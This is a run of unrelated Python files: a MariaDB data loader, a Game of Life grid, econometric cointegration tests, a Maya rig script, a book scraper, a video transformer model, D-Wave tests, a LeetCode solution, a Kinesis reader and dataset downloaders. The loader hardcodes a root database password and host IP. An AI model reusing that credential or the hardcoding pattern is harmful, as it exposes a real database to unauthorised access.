                line_data=data.split(',')
                filtering_data = [x for x in line_data if x.strip()]
                batch=filtering_data[-1]
            elif index==6:
                line_data = data.split(',')
                filtering_data = [x for x in line_data if x.strip()]
                Reactor = filtering_data[-1]
            elif index == 7:
                line_data = data.split(',')
                filtering_data = [x for x in line_data if x.strip()]
                position = filtering_data[-1]
            elif index == 8:
                line_data = data.split(',')
                filtering_data = [x for x in line_data if x.strip()]
                end_date = filtering_data[-1]
            elif index == 9:
                line_data = data.split(',')
                filtering_data = [x for x in line_data if x.strip()]
                end_time = filtering_data[-1]
            elif index == 10:
                line_data = data.split(',')
                filtering_data = [x for x in line_data if x.strip()]
                end_duration = filtering_data[-1]
            elif index == 12:
                line_data = data.split(',')
                filtering_data = [x for x in line_data if x.strip()]
                plate_type = filtering_data[-1]
            elif index>19:
                line_data = data.split(',')
                filtering_data = [x for x in line_data if x.strip()]
                row_values=[batch, Reactor, position, end_date,end_time, end_duration, plate_type]+filtering_data
                final_data.append(row_values)
        data_frame=pd.DataFrame(final_data,columns=['batch','reactor','position','enddate','endtime','duration','plate_type','plate','hole','sample_id', 'material','not_needed1','not_needed2','not_needed3','weight','exp_type','project','owner'])
        clean_data = data_frame.drop(
            columns=['not_needed1', 'not_needed2', 'not_needed3'])
        clean_data['enddate'] = pd.to_datetime(clean_data['enddate'])
        clean_data['endtime'] = pd.to_datetime(clean_data['endtime'])
        clean_data['endtime'] = [time.time() for time in clean_data['endtime']]
        clean_data['plate'] = clean_data['plate'].astype(int)
        clean_data['hole'] = clean_data['hole'].astype(int)
        clean_data['owner']=clean_data['owner'].replace('\n','',regex=True)
        if disp:
            print(clean_data)
        softurl = r"mariadb+mariadbconnector://root:dbpwx61@139.20.22.156:3306/ararsoftware"
        soft_engine = create_engine(softurl)
        software_conn = soft_engine.connect()
        clean_data.to_sql('ararirrdata', software_conn,if_exists=type, index=True
                          , dtype={'batch':VARCHAR(40), 'reactor':VARCHAR(50),
                                   'position': VARCHAR(40), 'enddate': DATE(), 'endtime': TIME(), 'duration': Float(3),
                            'plate_type':VARCHAR(40), 'plate':Integer(), 'hole':Integer(),
                                   'sample_id': VARCHAR(40),
                                   'material': VARCHAR(40), 'weight': Float(), 'exp_type': VARCHAR(40), 'project': VARCHAR(50), 'owner': VARCHAR(40)})
    print(file_name+' file data loaded into database')
    pass

#####################
# replace or append
load_type='replace'

########################33
if __name__ == "__main__":
    root_dir='.\data'
    onlyfiles = [os.path.join(root_dir, f) for f in os.listdir(root_dir) if
                 os.path.isfile(os.path.join(root_dir, f))]
    for file in onlyfiles:
        file_ext = os.path.splitext(file)[-1].lower()
        if file_ext!='.irr':
            print('File format is not supported')
        else:
            data_loading(file, type=load_type, disp=False)


import random
import logging

from core.models.Cell import Cell
from core.models.Position import Position
from core.models.State import State

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

class Grid:
    """This class contains all the informations about the petri organization.
        The main part of this class is the adjacency matrix which allows us to represent the
        neighboring between cells.
        A.K.A Petri
    """

    def __init__(self, adjacency_matrix=[], length=5, width=5, number_generations=5):
        self.length = length
        self.width = width
        self.number_generations = number_generations
        self.adjacency_matrix = adjacency_matrix

    @classmethod
    def build_from_adjacency_matrix(cls, adjacency_matrix, number_generations=5):
        """
          :param adjacency_matrix: this is adjacency matrix to represent the neighboring and the state of each cell.
          :return Grid object
        """
        return cls(adjacency_matrix, len(adjacency_matrix[0]), len(adjacency_matrix), number_generations)

    @classmethod
    def build_random_grid(cls, number_generations):
        """
        :param number_generations: This is a number of the generation to use during the simulation
        :return Grid Object
        """
        width = random.randint(1, 10)
        length = random.randint(1, 10)
        logger.info(" Starting the with random data in the Grid having dimension {0} and {1}".format(width, length))
        adjacency_matrix = []
        for x in range(width):
            adjacency_matrix.append([])
            for y in range(length):
                position = Position(x, y)
                adjacency_matrix[x].append(Cell(State.RANDOM, position))
        return cls(adjacency_matrix, length, width, number_generations)

    def live(self):
        """ This procedure will launche the simulation of the grid
        """
        logger.info("The intial generation ")
        logger.info(self)
        for idx in range(self.number_generations):
            logger.info("The generation :" + str(idx + 1))
            self.next_state_of_grid()
            logger.info(self)

    def next_state_of_grid(self):
        """
            This method will udpdate the state of each cell in the Grid
        """
        matrix_number_alive = self.get_matrix_number_neighbour_living()
        for x in range(self.width):
            for y in range(self.length):
                self.change_state(x, y, matrix_number_alive)

    def change_state(self, x, y, matrix):
        """:param x: the x coordinate of cell to evalute eventual changements
           :param y: the y coordinate of cell to evalute eventual changements
           :param :matrix
           This method will evaluate what cell to kill according to certains condition
        """
        if (self.adjacency_matrix[x][y].is_alive()) and (matrix[x][y] < 2 or matrix[x][y] > 3):
            self.adjacency_matrix[x][y].make_dead()

        if (self.adjacency_matrix[x][y].is_alive()) and matrix[x][y] in [2, 3]:
            self.adjacency_matrix[x][y].make_alive()

        if not self.adjacency_matrix[x][y].is_alive() and matrix[x][y] == 3:
            self.adjacency_matrix[x][y].make_alive()

    def find_neighborhood(self, x_param, y_param):
        """ Return the list of the neighbours of the element
            whose coordinates have been passed in parameter
            :param x_param:
            :param y_param:
        """
        return [(x, y) for x in range(x_param - 1, x_param + 2)
                for y in range(y_param - 1, y_param + 2)
                if (-1 < x_param < self.width and
                    -1 < y_param < self.length and
                    (x_param != x or y_param != y) and
                    (0 <= x < self.width) and
                    (0 <= y < self.length))]

    def get_matrix_number_neighbour_living(self):
        """
           This method return a matrix where item at the position(x,y)
           is a number of neighbours living of the cell at the position(x,y) of the petri.
           :return a matrix having size self.width and self.length
        """
        matrix_alive = []
        for x in range(self.width):
            matrix_alive.append([])
            for y in range(self.length):
                alive_neighbors = 0
                neighbors = self.find_neighborhood(x, y)
                for coordinate in neighbors:
                    if self.adjacency_matrix[coordinate[0]][coordinate[1]].is_alive():
                        alive_neighbors = alive_neighbors + 1
                matrix_alive[x].append(alive_neighbors)

        return matrix_alive

    def __str__(self):
        temp = "\n"
        for x in range(self.width):
            for y in range(self.length):
                temp = temp + str(self.adjacency_matrix[x][y])
            temp = temp + "\n"
        return temp

    def __repr__(self):
        for x in range(self.width):
            for y in range(self.length):
                print(self.adjacency_matrix[x][y], end='')
            print('')


import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import statsmodels.formula.api as smf
from statsmodels.tsa.stattools import coint, adfuller, kpss
#import statsmodels.api as sm
usm = pd.read_table('USmacronInRate.txt', sep = '\s+', header = 0)
usm = usm[['rgnp', 'tb3m', 'gs10', 'm1sk']]
timeindex = pd.date_range('1959-01', periods = len(usm), freq = 'QS')
usm.index = timeindex
usm.rgnp = np.log(usm.rgnp)
usm.m1sk = np.log(usm.m1sk)
usm.columns = ['lrgnp', 'tb3m', 'gs10', 'lm1sk']
fig = plt.figure()
usm.lrgnp.plot(ax = fig.add_subplot(221))
plt.title('Log of the U.S. real GNP')
usm.lm1sk.plot(ax = fig.add_subplot(222))
plt.title('Log of the U.S. M1 money stock')
usm.tb3m.plot(ax = fig.add_subplot(223))
plt.title('Rate of U.S. 3-month treasury bills')
usm.gs10.plot(ax = fig.add_subplot(224))
plt.title('U.S. 10-year constant maturity interest rate')
plt.savefig('pyTSA_MAcroUSCointegration_fig9-37.png', dpi = 1200, bbox_inches ='tight',
            transparent = True, legend = None); plt.show()
olsres = smf.ols('usm.lm1sk ~ usm.lrgnp', data = usm).fit()
print(olsres.summary())
olsresid = olsres.resid
olsresid.plot()
plt.savefig('pyTSA_MAcroUSCointegration_fig9-38.png', dpi = 1200, bbox_inches ='tight',
            transparent = True, legend = None); plt.show()
adfuller(olsresid, regression = 'ct')
kpss(olsresid, regression = 'ct', nlags = 'auto')
coint(usm.lrgnp, usm.lm1sk, trend = 'c')
dusm = usm.diff(1).dropna()
dusm.columns = ['dlrgnp', 'dtb3m', 'dgs10', 'dlm1sk']
kpss(dusm.dlrgnp, regression = 'c', nlags = 'auto')
adfuller(dusm.dlrgnp, regression = 'c')
kpss(dusm.dlm1sk, regression = 'c', nlags = 'auto')
adfuller(dusm.dlm1sk, regression = 'c')
olsres2 = smf.ols('dusm.dlm1sk ~ dusm.dlrgnp', data = dusm).fit()
print(olsres2.summary())


import maya.cmds as cmds
import pymel.core as pm
import sys
import os
import skel
import skelT
import sgWrchHIK
import hikLinks
reload(skel)
reload(skelT)
reload(sgWrchHIK)
reload(hikLinks)

skeleton = skel.BaseSkel()
skeleton.makeItSo(
        inPath = r"D:\sgScripts\project\dave\rig",
        rigVersion = r"\\001_dave_sgRig_v016.ma",
        folder = "targetJoints_GRP"
        )

skeletonT = skelT.BaseSkel()
skeletonT.makeItSo(
        inPath = r"D:\sgScripts\project\dave\rig",
        rigVersion = r"\\001_dave_sgRig_v016.ma",
        folder = "animTargetJoints_GRP"
        )

wrchRig = sgWrchHIK.WrchHIK()
wrchRig.makeItSo(
        inPath = r"D:\sgScripts\project\dave\rig",
        rigVersion = r"\\001_dave_sgRig_v016.ma",
        jsonPath = r"D:\sgScripts\project\dave\skeleton"
        )
pm.select(clear=True)
hikLinks.link()


from packages import *
#url problem unfixable
#add timer
def getBooks99(searcher):
    books = []

    url = "https://99bookscart.com/search?q="
    req = requests.get(url + searcher)
    soup = BeautifulSoup(req.text, "html.parser")
    items = (soup.find_all(class_ = "product-card product-card--list"))

    for item in items:
        # book = Book()
        urlString = str(item.find(class_ = "full-width-link"))

        titleString = str(item.find(class_ = "product-card__title"))

        authorString = str(item.find(class_ = "list-view-item__title").find("small"))

        priceString = str(item.find(class_ = "price-item price-item--sale"))

        author = authorString[44:authorString.find("<", 44)]

        title = titleString[34:titleString.find("<", 34)]

        price = priceString[72:priceString.find("<", 72)]

        url = "https://99bookscart.com" + urlString[33:urlString.find("\"", 33)]

        if price != "":
            # books.append(book)
            books.append(
            {
                "title": title,
                "price": price,
                "url": url,
                "author": author,
                "site": "99bookscart.com"
            }
            )

    return books

if __name__ == "__main__":
    lst = getBooks99("computer")
    print(lst)


import torch
from torch import nn, einsum
import torch.nn.functional as F
from einops import rearrange, repeat

from models.efficientnet.efficientnet_pytorch import EfficientNet

# helpers
def exists(val):
    return val is not None

# classes

class PreNorm(nn.Module):
    def __init__(self, dim, fn):
        super().__init__()
        self.fn = fn
        self.norm = nn.LayerNorm(dim)

    def forward(self, x, *args, **kwargs):
        x = self.norm(x)
        return self.fn(x, *args, **kwargs)

# time token shift

def shift(t, amt):
    if amt is 0:
        return t
    return F.pad(t, (0, 0, 0, 0, amt, -amt))

class PreTokenShift(nn.Module):
    def __init__(self, frames, fn):
        super().__init__()
        self.frames = frames
        self.fn = fn

    def forward(self, x, *args, **kwargs):
        f, dim = self.frames, x.shape[-1]
        cls_x, x = x[:, :1], x[:, 1:]
        x = rearrange(x, 'b (f n) d -> b f n d', f = f)

        # shift along time frame before and after

        dim_chunk = (dim // 3)
        chunks = x.split(dim_chunk, dim = -1)
        chunks_to_shift, rest = chunks[:3], chunks[3:]
        shifted_chunks = tuple(map(lambda args: shift(*args), zip(chunks_to_shift, (-1, 0, 1))))
        x = torch.cat((*shifted_chunks, *rest), dim = -1)

        x = rearrange(x, 'b f n d -> b (f n) d')
        x = torch.cat((cls_x, x), dim = 1)
        return self.fn(x, *args, **kwargs)

# feedforward

class GEGLU(nn.Module):
    def forward(self, x):
        x, gates = x.chunk(2, dim = -1)
        return x * F.gelu(gates)

class FeedForward(nn.Module):
    def __init__(self, dim, mult = 4, dropout = 0.):
        super().__init__()
        self.net = nn.Sequential(
            nn.Linear(dim, dim * mult * 2),
            GEGLU(),
            nn.Dropout(dropout),
            nn.Linear(dim * mult, dim)
        )

    def forward(self, x):
        return self.net(x)

# attention

def attn(q, k, v, mask = None):
    sim = einsum('b i d, b j d -> b i j', q, k)
    if exists(mask):
        max_neg_value = -torch.finfo(sim.dtype).max
        sim.masked_fill_(~mask, max_neg_value)
    attn = sim.softmax(dim = -1)
    out = einsum('b i j, b j d -> b i d', attn, v)
    return out

class Attention(nn.Module):
    def __init__(
        self,
        dim,
        dim_head = 64,
        heads = 8,
        dropout = 0.
    ):
        super().__init__()
        self.heads = heads
        self.scale = dim_head ** -0.5
        inner_dim = dim_head * heads

        self.to_qkv = nn.Linear(dim, inner_dim * 3, bias = False)
        self.to_out = nn.Sequential(
            nn.Linear(inner_dim, dim),
            nn.Dropout(dropout)
        )

    def forward(self, x, einops_from, einops_to, mask = None, cls_mask = None, rot_emb = None, **einops_dims):
        h = self.heads
        q, k, v = self.to_qkv(x).chunk(3, dim = -1)
        q, k, v = map(lambda t: rearrange(t, 'b n (h d) -> (b h) n d', h = h), (q, k, v))

        q = q * self.scale

        # splice out classification token at index 1
        (cls_q, q_), (cls_k, k_), (cls_v, v_) = map(lambda t: (t[:, :1], t[:, 1:]), (q, k, v))

        # let classification token attend to key / values of all patches across time and space
        cls_out = attn(cls_q, k, v, mask = cls_mask)
        # rearrange across time or space
        q_, k_, v_ = map(lambda t: rearrange(t, f'{einops_from} -> {einops_to}', **einops_dims), (q_, k_, v_))

        # expand cls token keys and values across time or space and concat
        r = q_.shape[0] // cls_k.shape[0]
        cls_k, cls_v = map(lambda t: repeat(t, 'b () d -> (b r) () d', r = r), (cls_k, cls_v))

        k_ = torch.cat((cls_k, k_), dim = 1)
        v_ = torch.cat((cls_v, v_), dim = 1)

        # attention
        out = attn(q_, k_, v_, mask = mask)

        # merge back time or space
        out = rearrange(out, f'{einops_to} -> {einops_from}', **einops_dims)

        # concat back the cls token
        out = torch.cat((cls_out, out), dim = 1)

        # merge back the heads
        out = rearrange(out, '(b h) n d -> b n (h d)', h = h)

        # combine heads out
        return self.to_out(out)

# main classes

class ConvolutionalTimeSformer(nn.Module):
    def __init__(
        self,
        *,
        config
    ):

        super().__init__()
        self.dim = config['model']['dim']
        self.num_frames = config['model']['num-frames']
        self.num_patches = config['model']['num-patches']
        self.image_size = config['model']['image-size']
        self.num_classes = config['model']['num-classes']
        self.patch_size = config['model']['patch-size']
        self.channels = config['model']['channels']
        self.depth = config['model']['depth']
        self.heads = config['model']['heads']
        self.dim_head = config['model']['dim-head']
        self.attn_dropout = config['model']['attn-dropout']
        self.ff_dropout = config['model']['ff-dropout']
        self.shift_tokens = config['model']['shift-tokens']
        self.efficient_net_block = config['model']['efficient-net-block']
        self.efficient_net = EfficientNet.from_pretrained('efficientnet-b0')

        for m in self.efficient_net.modules():
            m.requires_grad = False
        self.efficient_net.eval()

        num_positions = self.num_frames * self.num_patches
        patch_dim = self.patch_size ** 2

        self.to_patch_embedding = nn.Linear(patch_dim, self.dim)
        self.cls_token = nn.Parameter(torch.randn(1, self.dim))

        self.pos_emb = nn.Embedding(num_positions + 1, self.dim)
        self.size_emb = nn.Embedding(num_positions + 1, self.dim)

        self.layers = nn.ModuleList([])
        for _ in range(self.depth):
            ff = FeedForward(self.dim, dropout = self.ff_dropout)
            time_attn = Attention(self.dim, dim_head = self.dim_head, heads = self.heads, dropout = self.attn_dropout)
            spatial_attn = Attention(self.dim, dim_head = self.dim_head, heads = self.heads, dropout = self.attn_dropout)
            if self.shift_tokens:
                time_attn, spatial_attn, ff = map(lambda t: PreTokenShift(num_frames, t), (time_attn, spatial_attn, ff))

            time_attn, spatial_attn, ff = map(lambda t: PreNorm(self.dim, t), (time_attn, spatial_attn, ff))

            self.layers.append(nn.ModuleList([time_attn, spatial_attn, ff]))

        self.to_out = nn.Sequential(
            nn.LayerNorm(self.dim),
            nn.Linear(self.dim, self.num_classes)
        )

    def forward(self, x, mask = None, size_embedding = None):
        b, f, h, w, _, *_, device, p = *x.shape, x.device, self.patch_size
        hp, wp = (h // p), (w // p)
        n = hp * wp

        x = rearrange(x, 'b f h w c -> (b f) c h w')
        x = self.efficient_net.extract_features_at_block(x, self.efficient_net_block)
        x = rearrange(x, '(b f) c h w -> b f c h w', b = b, f = f)
        x = rearrange(x, 'b f c h w -> b (f c) (h w)')
        tokens = self.to_patch_embedding(x)

        # add cls token
        cls_token = repeat(self.cls_token, 'n d -> b n d', b = b)
        x =  torch.cat((cls_token, tokens), dim = 1)
        # positional embedding
        x += self.pos_emb(torch.arange(x.shape[1], device = device))

        # size embedding
        size_embedding = repeat(size_embedding, 'b f -> p b f', p=self.num_patches)
        size_embedding = rearrange(size_embedding, 'p b f -> (p b f)')
        size_embedding = torch.cat((torch.tensor([0]), size_embedding), dim = 0)
        size_embedding = size_embedding.to(device)
        x += self.size_emb(size_embedding)

        # calculate masking for uneven number of frames

        frame_mask = None
        cls_attn_mask = None

        # time and space attention

        for (time_attn, spatial_attn, ff) in self.layers:
            x = time_attn(x, 'b (f n) d', '(b n) f d', n = n, mask = frame_mask, cls_mask = cls_attn_mask) + x
            x = spatial_attn(x, 'b (f n) d', '(b f) n d', f = f, cls_mask = cls_attn_mask) + x
            x = ff(x) + x

        cls_token = x[:, 0]
        return self.to_out(cls_token)


from pathlib import Path
import shutil

def copy_paster(settings, set_paths, path_tool_runs_runid):
    """
    Note:
        This functions does a direct copy/paste of model input and output files into the post-proc run results folder.

    Parameters:
        settings: The SetInputs class.
        set_paths: The SetPaths class.
        path_tool_runs_runid: The run_id.

    Return:
        Nothing is returned but files are copied and pasted.

    """
    print('Doing a copy/paste of model run inputs and outputs for this run ID.')
    # make a model runs folder within the postproc runs runid folder
    path_paste_model_runs = path_tool_runs_runid / 'CAFE_model_runs'
    path_paste_model_runs.mkdir(exist_ok=False)

    for k, v in settings.model_runs.items():
        for item in [0, 1]:
            if settings.run_folder_filename.__contains__('primary'):
                path_copy_input = set_paths.path_project / f'CAFE_model_runs/input/{settings.model_runs[k][item]}'
                path_copy_output = set_paths.path_project / f'CAFE_model_runs/output/{settings.model_runs[k][item]}/reports-csv'
            else:
                path_copy_input = set_paths.path_project / f'CAFE_model_runs/sensitivities/input/{settings.model_runs[k][item]}'
                path_copy_output = set_paths.path_project / f'CAFE_model_runs/sensitivities/output/{settings.model_runs[k][item]}/reports-csv'

            # create the subfolder paths we want
            path_paste_model_runs_folder = dict()
            for folder in ['input', 'output']:
                path_paste_model_runs_folder[folder] = path_paste_model_runs / folder
                path_paste_model_runs_folder[folder].mkdir(exist_ok=True)
                path_paste_model_runs_folder[folder] = path_paste_model_runs_folder[folder] / f'{settings.model_runs[k][item]}'
                path_paste_model_runs_folder[folder].mkdir(exist_ok=True)

            # create generator of files in copy paths
            files_in_path_copy_input = (entry for entry in path_copy_input.iterdir() if entry.is_file())
            files_in_path_copy_output = (entry for entry in path_copy_output.iterdir() if entry.is_file())

            # copy/paste input files
            for file in files_in_path_copy_input:
                shutil.copy2(file, path_paste_model_runs_folder['input'] / file.name)

            # copy/paste output files
            for file in files_in_path_copy_output:
                shutil.copy2(file, path_paste_model_runs_folder['output'] / file.name)

    return

if __name__ == '__main__':
    from postproc_setup import SetInputs as settings
    copy_paster(settings)
    print('Copy/Paste complete')


import os
import json
import unittest

from parameterized import parameterized_class

from dwave.cloud.exceptions import ConfigFileError, SolverNotFoundError
from dwave.cloud.testing import isolated_environ
from dwave.system import LeapHybridSampler, LeapHybridDQMSampler, LeapHybridCQMSampler

@parameterized_class(
    ("problem_type", "sampler_cls"), [
        ("bqm", LeapHybridSampler),
        ("dqm", LeapHybridDQMSampler),
        ("cqm", LeapHybridCQMSampler),
    ])
@unittest.skipIf(os.getenv('SKIP_INT_TESTS'), "Skipping integration test.")
class TestLegacySolverSelection(unittest.TestCase):

    def test_baseline(self):
        # kwarg-level override should always work
        try:
            sampler = self.sampler_cls(solver=self.sampler_cls.default_solver)
        except (ValueError, ConfigFileError):
            raise unittest.SkipTest("config error")

        self.assertIn(self.problem_type, sampler.solver.supported_problem_types)

        sampler.client.close()

    def test_new_positive(self):
        # given valid solver spec in env, init succeeds
        solver = json.dumps(self.sampler_cls.default_solver)
        with isolated_environ(add={'DWAVE_API_SOLVER': solver},
                              remove=('DWAVE_FEATURE_FLAGS',)):
            try:
                sampler = self.sampler_cls()
            except (ValueError, ConfigFileError):
                raise unittest.SkipTest("config error")

            self.assertIn(self.problem_type, sampler.solver.supported_problem_types)

        sampler.client.close()

    def test_new_negative(self):
        # given invalid solver spec in env, init fails
        solver = json.dumps(dict(qpu=True))
        with isolated_environ(add={'DWAVE_API_SOLVER': solver},
                              remove=('DWAVE_FEATURE_FLAGS',)):
            with self.assertRaises(SolverNotFoundError):
                try:
                    sampler = self.sampler_cls()
                except (ValueError, ConfigFileError):
                    raise unittest.SkipTest("config error")

    def test_old(self):
        # given invalid solver spec in env, init succeeds
        solver = json.dumps(dict(qpu=True))
        flags = json.dumps(dict(hss_solver_config_override=True))
        with isolated_environ(add={'DWAVE_API_SOLVER': solver,
                                   'DWAVE_FEATURE_FLAGS': flags}):
            try:
                sampler = self.sampler_cls()
            except (ValueError, ConfigFileError):
                raise unittest.SkipTest("config error")

            self.assertIn(self.problem_type, sampler.solver.supported_problem_types)

        sampler.client.close()


#
# @lc app=leetcode id=378 lang=python3
#
# [378] Kth Smallest Element in a Sorted Matrix
#
# https://leetcode.com/problems/kth-smallest-element-in-a-sorted-matrix/description/
#
# algorithms
# Medium (59.74%)
# Likes:    6728
# Dislikes: 252
# Total Accepted:    422.5K
# Total Submissions: 698.9K
# Testcase Example:  '[[1,5,9],[10,11,13],[12,13,15]]\n8'
#
# Given an n x n matrix where each of the rows and columns is sorted in
# ascending order, return the k^th smallest element in the matrix.
#
# Note that it is the k^th smallest element in the sorted order, not the k^th
# distinct element.
#
# You must find a solution with a memory complexity better than O(n^2).
#
#
# Example 1:
#
#
# Input: matrix = [[1,5,9],[10,11,13],[12,13,15]], k = 8
# Output: 13
# Explanation: The elements in the matrix are [1,5,9,10,11,12,13,13,15], and
# the 8^th smallest number is 13
#
#
# Example 2:
#
#
# Input: matrix = [[-5]], k = 1
# Output: -5
#
#
#
# Constraints:
#
#
# n == matrix.length == matrix[i].length
# 1 <= n <= 300
# -10^9 <= matrix[i][j] <= 10^9
# All the rows and columns of matrix are guaranteed to be sorted in
# non-decreasing order.
# 1 <= k <= n^2
#
#
#
# Follow up:
#
#
# Could you solve the problem with a constant memory (i.e., O(1) memory
# complexity)?
# Could you solve the problem in O(n) time complexity? The solution may be too
# advanced for an interview but you may find reading this paper fun.
#
#
#
# from heapq import heappop, heappush
from copy import deepcopy
from itertools import chain
from typing import List
from algo_input import run
from types import MethodType

# @lc code=start
class Solution:

    # O(N**2) time complexity
    # O(1) space complexity
    def kthSmallest(self, matrix: List[List[int]], k: int) -> int:
        n = len(matrix)

        def kth(num):
            i = 0
            j = n - 1
            res = (0, -float('inf'))
            while i < n and j >= 0:
                if matrix[i][j] <= num:
                    i += 1
                    res = (res[0] + j + 1, max(res[1], num))
                else:
                    j -= 1
            return res

        lo, hi = matrix[0][0], matrix[-1][-1]
        while lo < hi:
            mid = (lo + hi) // 2
            pos, m = kth(mid)
            if k <= pos:
                hi = m
            else:
                lo = m + 1
        return lo

    # O(N**2logN**2) time complexity
    # O(K) space complexity
    # def kthSmallest(self, matrix: List[List[int]], k: int) -> int:
    #     h = []
    #     for num in chain.from_iterable(matrix):
    #         heappush(h, -num)
    #         if len(h) == k + 1:
    #             heappop(h)
    #     return -h[0]

# @lc code=end
if __name__ == "__main__":
    base = [[1, 4, 7, 11, 15], [2, 5, 8, 12, 19], [3, 6, 9, 16, 22],
            [10, 13, 14, 17, 24], [18, 21, 23, 26, 30]]
    base_sorted = sorted(list(chain.from_iterable(base)))
    run(
        MethodType(Solution.kthSmallest, Solution()),
        [
            [[[[-5, -4], [-5, -4]], 2], -5],
            [[[[1, 4, 7], [2, 6, 9], [5, 8, 10]], 9], 10],
            [[[[1, 4, 7], [2, 5, 8], [3, 6, 9]], 9], 9],
            [[[[1, 2, 3], [4, 5, 6], [7, 8, 9]], 9], 9],
            [[[[1, 4], [2, 5]], 2], 2],
            [[[[1, 5, 9], [10, 11, 13], [12, 13, 15]], 8], 13],
            [[[[-5]], 1], -5],
            [[[[1, 2], [1, 3]], 2], 1],
            [[[[1, 2, 3], [1, 2, 3], [1, 2, 3]], 1], 1],
            [[[[1, 2, 3], [1, 2, 3], [1, 2, 3]], 2], 1],
            [[[[1, 2, 3], [1, 2, 3], [1, 2, 3]], 3], 1],
            [[[[1, 2, 3], [1, 2, 3], [1, 2, 3]], 4], 2],
            [[[[1, 2, 3], [1, 2, 3], [1, 2, 3]], 5], 2],
            [[[[1, 2, 3], [1, 2, 3], [1, 2, 3]], 6], 2],
            [[[[1, 2, 3], [1, 2, 3], [1, 2, 3]], 7], 3],
            [[[[1, 2, 3], [1, 2, 3], [1, 2, 3]], 8], 3],
            [[[[1, 2, 3], [1, 2, 3], [1, 2, 3]], 9], 3],
            *[[[deepcopy(base), x], base_sorted[x - 1]]
              for x in range(1, 1 + len(base) * len(base[0]))],
        ],
    )


#!/usr/bin/env python
#  test3_kinesis_data_get.py

# https://aws.amazon.com/blogs/big-data/snakes-in-the-stream-feeding-and-eating-amazon-kinesis-streams-with-python/
# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kinesis.html

import boto3
import pprint

kinesis = boto3.client('kinesis')

pp = pprint.PrettyPrinter(indent=4)

shard_list = kinesis.list_shards(StreamName="ExampleInputStream", MaxResults=4)
print("shards")
pp.pprint(shard_list)

if len(shard_list['Shards']) == 1:
    shard_id = shard_list['Shards'][0]['ShardId']
    shard_it = kinesis.get_shard_iterator(StreamName="ExampleInputStream",
                                          ShardId= shard_id, #'shardId-000000000000',
                                          #ShardId='shardId-000000000000',
                                          ShardIteratorType='TRIM_HORIZON')["ShardIterator"]
    loopcnt = 0
    last_ago = 0.0
    max_dif = 0.0
    while loopcnt < 4000:
        out = kinesis.get_records(ShardIterator=shard_it, Limit=2)
        shard_it = out["NextShardIterator"]
        retv_ago = out['MillisBehindLatest']
        retv_ago_sec, retv_ago_ms = int(retv_ago/1000), int(retv_ago % 1000)
        dif_ago = last_ago - retv_ago
        if dif_ago > max_dif: max_dif = dif_ago
        print("\n%s%s%s" % ( "Out for %d.%03d ago" % (retv_ago_sec, retv_ago_ms),
                             " %.2f hours diff %.2f sec max %.2f" % (
                                 retv_ago_sec / 3600.0, dif_ago, max_dif ),
                             " loopcnt %d" % loopcnt ))
        last_ago = retv_ago
        #pp.pprint(out)
        if len(out['Records']) < 1 and retv_ago_sec == 0 and retv_ago_ms == 0:
            break
        for x in out['Records']:
            pp.pprint(x)
        loopcnt += 1


from __future__ import print_function
from six.moves import urllib
from tqdm import tqdm
from birdbrain.utils import ensure_dir

# from pyunpack import Archive
import patoolib
from glob import glob
import numpy as np
import shutil
import os
import subprocess
import pandas as pd
import xml.etree.ElementTree

def execute(cmd):
    """excecute a command in subprocess
    """
    popen = subprocess.Popen(cmd, stdout=subprocess.PIPE, universal_newlines=True)
    for stdout_line in iter(popen.stdout.readline, ""):
        yield stdout_line
    popen.stdout.close()
    return_code = popen.wait()
    if return_code:
        raise subprocess.CalledProcessError(return_code, cmd)

def verbose_command(cmd):
    """ prints the executed command
    """
    for path in execute(cmd):
        print(path, end="")

class TqdmUpTo(tqdm):
    """Provides `update_to(n)` which uses `tqdm.update(delta_n)`."""

    def update_to(self, b=1, bsize=1, tsize=None):
        """
        b  : int, optional
            Number of blocks transferred so far [default: 1].
        bsize  : int, optional
            Size of each block (in tqdm units) [default: 1].
        tsize  : int, optional
            Total size (in tqdm units). If [default: None] remains unchanged.
        """
        if tsize is not None:
            self.total = tsize
        self.update(b * bsize - self.n)  # will also set self.n = b * bsize

def tqdm_download(url, save_loc):
    with TqdmUpTo(
        unit="B",
        unit_scale=True,
        unit_divisor=1024,
        miniters=1,
        desc=url.split("/")[-1],
        leave=False,
    ) as t:  # all optional kwargs
        urllib.request.urlretrieve(
            url, filename=save_loc, reporthook=t.update_to, data=None
        )

def get_canary_data():
    # if files already exist
    if len(glob("../../data/processed/canary/delineations/*.img")) > 1:
        print("Data already download")
        return
    print("Downloading data")

    # which images to get and where to save them
    dl_output = "../../data/raw/canary/"
    img_output = "../../data/processed/canary/"
    images = [
        "http://extranet.orn.mpg.de/documents/vellema/downloads/T2_Rare_3D.rar",
        "http://extranet.orn.mpg.de/documents/vellema/downloads/T2_Flash_3D_HR.rar",
    ]
    delineations = [
        "http://extranet.orn.mpg.de/documents/vellema/downloads/skull.rar",
        "http://extranet.orn.mpg.de/documents/vellema/downloads/brain.rar",
        "http://extranet.orn.mpg.de/documents/vellema/downloads/subdivisions.rar",
        "http://extranet.orn.mpg.de/documents/vellema/downloads/nuclei.rar",
        "http://extranet.orn.mpg.de/documents/vellema/downloads/tracts.rar",
        "http://extranet.orn.mpg.de/documents/vellema/downloads/combined_set.rar",
    ]
    # make sure directories all exist
    ensure_dir(dl_output)
    ensure_dir(img_output)
    ensure_dir(img_output + "delineations/")

    # download data
    delination_zip = []
    # download each delineation file
    for delineation_loc in delineations:
        output_loc = dl_output + delineation_loc.split("/")[-1]
        tqdm_download(delineation_loc, output_loc)
        delination_zip.append(output_loc)
    img_zip = []
    # download each image file
    for image_loc in images:
        output_loc = dl_output + image_loc.split("/")[-1]
        tqdm_download(image_loc, output_loc)
        img_zip.append(output_loc)
    # unzip delineations
    for dz in tqdm(delination_zip):
        patoolib.extract_archive(dz, outdir=img_output + "delineations/")
    # unzip images
    for iz in tqdm(img_zip):
        patoolib.extract_archive(iz, outdir=img_output)

def get_starling_data():
    if len(glob("../../data/processed/starling/delineations/*.img")) > 1:
        print("Data already download")
        return

    print("Downloading data")
    dl_output = "../../data/raw/starling/"  # data download
    img_output = "../../data/processed/starling/"  # processed save spot
    data_url = "http://uahost.uantwerpen.be/bioimaginglab/starling.zip"

    # ensure directories
    ensure_dir(dl_output)
    ensure_dir(img_output)
    ensure_dir(img_output + "delineations/")
    zip_loc = dl_output + "starling.zip"

    # download data
    tqdm_download(data_url, zip_loc)

    # extract the data
